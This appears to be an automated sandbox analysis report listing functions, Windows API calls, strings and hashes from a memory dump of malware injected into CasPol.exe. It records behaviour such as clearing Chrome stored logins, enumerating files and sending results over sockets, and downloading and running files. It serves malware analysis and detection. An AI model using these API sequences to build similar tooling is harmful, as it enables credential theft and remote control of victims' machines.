                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DeleteErrorFileLast
                                                                                                                                                                                                  • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                                                                                                                                                                                  • API String ID: 2018770650-1062637481
                                                                                                                                                                                                  • Opcode ID: 2a96545a4d0d9f85ca22cacb1c39f1202692d6e87788dc19eb8fe601ebee372c
                                                                                                                                                                                                  • Instruction ID: 0532e36a1aab116e50a9f1d1704ee325f44086adb43c50cfffb7bf5285f9a594
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2a96545a4d0d9f85ca22cacb1c39f1202692d6e87788dc19eb8fe601ebee372c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 76018F61A402056ACB04B7B6DC5B9BE7724A921704B50057FF806722D2FE7D49098BDE
                                                                                                                                                                                                  Function 0041798D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041799A
                                                                                                                                                                                                  • OpenProcessToken.ADVAPI32(00000000), ref: 004179A1
                                                                                                                                                                                                  • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004179B3
                                                                                                                                                                                                  • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 004179D2
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 004179D8
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                                                  • String ID: SeShutdownPrivilege
                                                                                                                                                                                                  • API String ID: 3534403312-3733053543
                                                                                                                                                                                                  • Opcode ID: d49d9c43419eaec1bfbdc5cb8a800583ef6843b46de48ba71f06d4aa9fea9060
                                                                                                                                                                                                  • Instruction ID: 35ac2027e355ce869dd6e937a138cd84cb59798e299a7bc9dfe05b1c572390d3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d49d9c43419eaec1bfbdc5cb8a800583ef6843b46de48ba71f06d4aa9fea9060
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 38F03A71802229FBDB10ABA1EC4DAEF7FBCEF05612F100465B909A1152D7348E04CBB5
                                                                                                                                                                                                  Function 004541D9 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: __floor_pentium4
                                                                                                                                                                                                  • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                                                                                                  • API String ID: 4168288129-2761157908
                                                                                                                                                                                                  • Opcode ID: e29b251e1eee29052bf5b6da388e4b2e308b35626dbf2dd5d7aa75add96dd8b0
                                                                                                                                                                                                  • Instruction ID: 22fd31c6184e07a9d3e8c26eafc68e38345e899adb4ac4f90a3aea4af7cb717d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e29b251e1eee29052bf5b6da388e4b2e308b35626dbf2dd5d7aa75add96dd8b0
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BBC27E71D046288FDB25CE28DD407EAB3B5EB8530AF1541EBD80DE7241E778AE898F45
                                                                                                                                                                                                  Function 0040928E Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __EH_prolog.LIBCMT ref: 00409293
                                                                                                                                                                                                    • Part of subcall function 004048C8: connect.WS2_32(FFFFFFFF,00D24948,00000010), ref: 004048E0
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 0040932F
                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 0040938D
                                                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 004093E5
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 004093FC
                                                                                                                                                                                                    • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                                                                                                                                                                                                    • Part of subcall function 00404E26: SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                                                                                                                                                                                                    • Part of subcall function 00404E26: CloseHandle.KERNEL32(?), ref: 00404E4C
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 004095F4
                                                                                                                                                                                                    • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(00000000,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                                                                                                                                                                                    • Part of subcall function 00404AA1: SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1824512719-0
                                                                                                                                                                                                  • Opcode ID: c95fe17c2b037c64b82bab9d1ad7effbaf2979e44fe57e53c64eae2a8e6f4ce2
                                                                                                                                                                                                  • Instruction ID: 89df7f8b75d3b77417eb58d09b4f39b7dfb13bde992cfd9524fc7595df83f5be
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c95fe17c2b037c64b82bab9d1ad7effbaf2979e44fe57e53c64eae2a8e6f4ce2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 34B19D32900109AACB14EBA1DD92AEDB379AF44314F50417FF506B60E2EF785F49CB59
                                                                                                                                                                                                  Function 0041AADB Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A731,00000000), ref: 0041AAE4
                                                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A731,00000000), ref: 0041AAF9
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,0041A731,00000000), ref: 0041AB06
                                                                                                                                                                                                  • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A731,00000000), ref: 0041AB11
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,0041A731,00000000), ref: 0041AB23
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,0041A731,00000000), ref: 0041AB26
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ManagerStart
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 276877138-0
                                                                                                                                                                                                  • Opcode ID: e30b05f20183ba3613960b636cce26fc80956d1a3587d8fe59d4f8762fcd24c9
                                                                                                                                                                                                  • Instruction ID: 14dbf03deabb1432b93a26d2ddf90514dbbc411f15d31c7908333a88c2a5d316
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e30b05f20183ba3613960b636cce26fc80956d1a3587d8fe59d4f8762fcd24c9
                                                                                                                                                                                                  • Instruction Fuzzy Hash: FEF0E971141225AFD2115B209C88DFF276CDF85B66B00082AF901921919B68CC45E579
                                                                                                                                                                                                  Function 004524BC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,004527DB,?,00000000), ref: 00452555
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,004527DB,?,00000000), ref: 0045257E
                                                                                                                                                                                                  • GetACP.KERNEL32(?,?,004527DB,?,00000000), ref: 00452593
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: InfoLocale
                                                                                                                                                                                                  • String ID: ACP$OCP
                                                                                                                                                                                                  • API String ID: 2299586839-711371036
                                                                                                                                                                                                  • Opcode ID: 61c68c86ee519c97ea86d50e82dd2762e668b1fdc7e44e8e256cfbf4b452970f
                                                                                                                                                                                                  • Instruction ID: 097c3b5166b2d36aca1cb621bb06e922528e2ea4561953c90108b9915aa2a338
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 61c68c86ee519c97ea86d50e82dd2762e668b1fdc7e44e8e256cfbf4b452970f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7E21F932600108B6D734CF14CA10A9B73A6EB16B53B564467ED09D7312F7B6DD44C398
                                                                                                                                                                                                  Function 0041B539 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FindResourceA.KERNEL32(SETTINGS,0000000A,00000000,?,0040F419,00000000), ref: 0041B54A
                                                                                                                                                                                                  • LoadResource.KERNEL32(00000000,?,?,0040F419,00000000), ref: 0041B55E
                                                                                                                                                                                                  • LockResource.KERNEL32(00000000,?,?,0040F419,00000000), ref: 0041B565
                                                                                                                                                                                                  • SizeofResource.KERNEL32(00000000,?,?,0040F419,00000000), ref: 0041B574
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Resource$FindLoadLockSizeof
                                                                                                                                                                                                  • String ID: SETTINGS
                                                                                                                                                                                                  • API String ID: 3473537107-594951305
                                                                                                                                                                                                  • Opcode ID: a45aaf07b9511fe1cfb91064365b640b81f442c86eb18a115f7d7951e0b61df2
                                                                                                                                                                                                  • Instruction ID: d04f7a3eece584ab18b37ce022e38df3785cd6d6757b7dd0dc659012c7d5cbc3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a45aaf07b9511fe1cfb91064365b640b81f442c86eb18a115f7d7951e0b61df2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8EE01A76600B22EBEB211BB1AC4CD863E29F7C97637140075F90586231CB798840DA98
                                                                                                                                                                                                  Function 004096A0 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __EH_prolog.LIBCMT ref: 004096A5
                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 0040971D
                                                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 00409746
                                                                                                                                                                                                  • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 0040975D
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Find$File$CloseFirstH_prologNext
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1157919129-0
                                                                                                                                                                                                  • Opcode ID: 0a4f7936ce2960db9bf45ce6e7c064902b20e644c01fdc90b969e8a4ba3c73a8
                                                                                                                                                                                                  • Instruction ID: 8e52766585a78a9bd0f7e398a9017c7fe376444e683812dd136b20495b515571
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0a4f7936ce2960db9bf45ce6e7c064902b20e644c01fdc90b969e8a4ba3c73a8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7F814C328001099BCB15EBA2DC969EDB378AF14318F10417FE506B71E2EF789E49CB58
                                                                                                                                                                                                  Function 00408847 Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __EH_prolog.LIBCMT ref: 0040884C
                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,00466618,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408905
                                                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 0040892D
                                                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040893A
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A50
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1771804793-0
                                                                                                                                                                                                  • Opcode ID: ec9c60c0984909d8cd4645444dd457f9d8bf9c0522e2e7366979e8a6a318d365
                                                                                                                                                                                                  • Instruction ID: 0d5560aa06bbfb8d15084ed76e809f646cede1ce68103026aeaac9ba950e1e68
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ec9c60c0984909d8cd4645444dd457f9d8bf9c0522e2e7366979e8a6a318d365
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9D517F72900209AACB04FB65DD569ED7778AF10308F50417FB906B71E2EF389B49CB89
                                                                                                                                                                                                  Function 00406EEB Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FF7
                                                                                                                                                                                                  • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070DB
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DownloadExecuteFileShell
                                                                                                                                                                                                  • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$open
                                                                                                                                                                                                  • API String ID: 2825088817-4197237851
                                                                                                                                                                                                  • Opcode ID: 42edae463b19f8fdd5cff8c83dfe43021a215ad23e3ac24ce1516620565fb183
                                                                                                                                                                                                  • Instruction ID: 89f65c5a2840bfed21b3c91f130df949caec66636536da5e2ea9f2eef63816fc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 42edae463b19f8fdd5cff8c83dfe43021a215ad23e3ac24ce1516620565fb183
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5261B371A0830166CA14FB76C8569BE37A59F81758F40093FB9427B2D3EE3C9905C69B
                                                                                                                                                                                                  Function 00407877 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407892
                                                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040795A
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FileFind$FirstNextsend
                                                                                                                                                                                                  • String ID: XPG$XPG
                                                                                                                                                                                                  • API String ID: 4113138495-1962359302
                                                                                                                                                                                                  • Opcode ID: 3d84d9c70616012fa8221750c6a8410ee04de753accb1628ad2af8c264aec63b
                                                                                                                                                                                                  • Instruction ID: fedc3c23448d2be437c2d68ef58725aa3c97e5c0e74d328490a6b39f64eed896
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3d84d9c70616012fa8221750c6a8410ee04de753accb1628ad2af8c264aec63b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2D21A4315083015BC714FB61D895CEFB3ACAF90358F40493EF696620E1FF78AA098A5B
                                                                                                                                                                                                  Function 0041CA73 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CB68
                                                                                                                                                                                                    • Part of subcall function 004137AA: RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 004137B9
                                                                                                                                                                                                    • Part of subcall function 004137AA: RegSetValueExA.KERNEL32(?,004674C8,00000000,?,00000000,00000000), ref: 004137E1
                                                                                                                                                                                                    • Part of subcall function 004137AA: RegCloseKey.KERNEL32(?), ref: 004137EC
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseCreateInfoParametersSystemValue
                                                                                                                                                                                                  • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                                                                                                                                                                                  • API String ID: 4127273184-3576401099
                                                                                                                                                                                                  • Opcode ID: 47ae7d430718f0ba875629653902a18f4ee72351ea8fb3e3ac61d5bcc2a18165
                                                                                                                                                                                                  • Instruction ID: 8ac436d711b2fc3476497f69dc57c3b9a547a247a31514f467319d0910454585
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 47ae7d430718f0ba875629653902a18f4ee72351ea8fb3e3ac61d5bcc2a18165
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D7118472BC425022E81831396D9BFBE28068343F61F54456BF6022A6CAE4CF6A9143CF
                                                                                                                                                                                                  Function 0045201B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00448295: GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                    • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(00452143,00000001,00000000,?,JD,?,00452770,00000000,?,?,?), ref: 0045208D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                                                                                                                                  • String ID: p'E$JD
                                                                                                                                                                                                  • API String ID: 1084509184-908320845
                                                                                                                                                                                                  • Opcode ID: 475d6d5c58d7186cd22417851423cdf86cfe6bc0717def2965f4a7021c27fb53
                                                                                                                                                                                                  • Instruction ID: b0e9e6415e7ea3a3ed95e939ef0edb9d062384d4a1a0bde9f31cc9ceae225fa6
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 475d6d5c58d7186cd22417851423cdf86cfe6bc0717def2965f4a7021c27fb53
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0211553A2007019FDB189F39C9916BBBB92FF8075AB14482EEE4687B41D7B5A946C740
                                                                                                                                                                                                  Function 00452143 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00448295: GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                    • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482F4
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 00448301
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452197
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004521E8
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004522A8
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorInfoLastLocale$_free$_abort
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2829624132-0
                                                                                                                                                                                                  • Opcode ID: 1ce7e7c7dfcd5f502045176aa51a1e3ace1f8c45826c3dbb4c0c9878229dab74
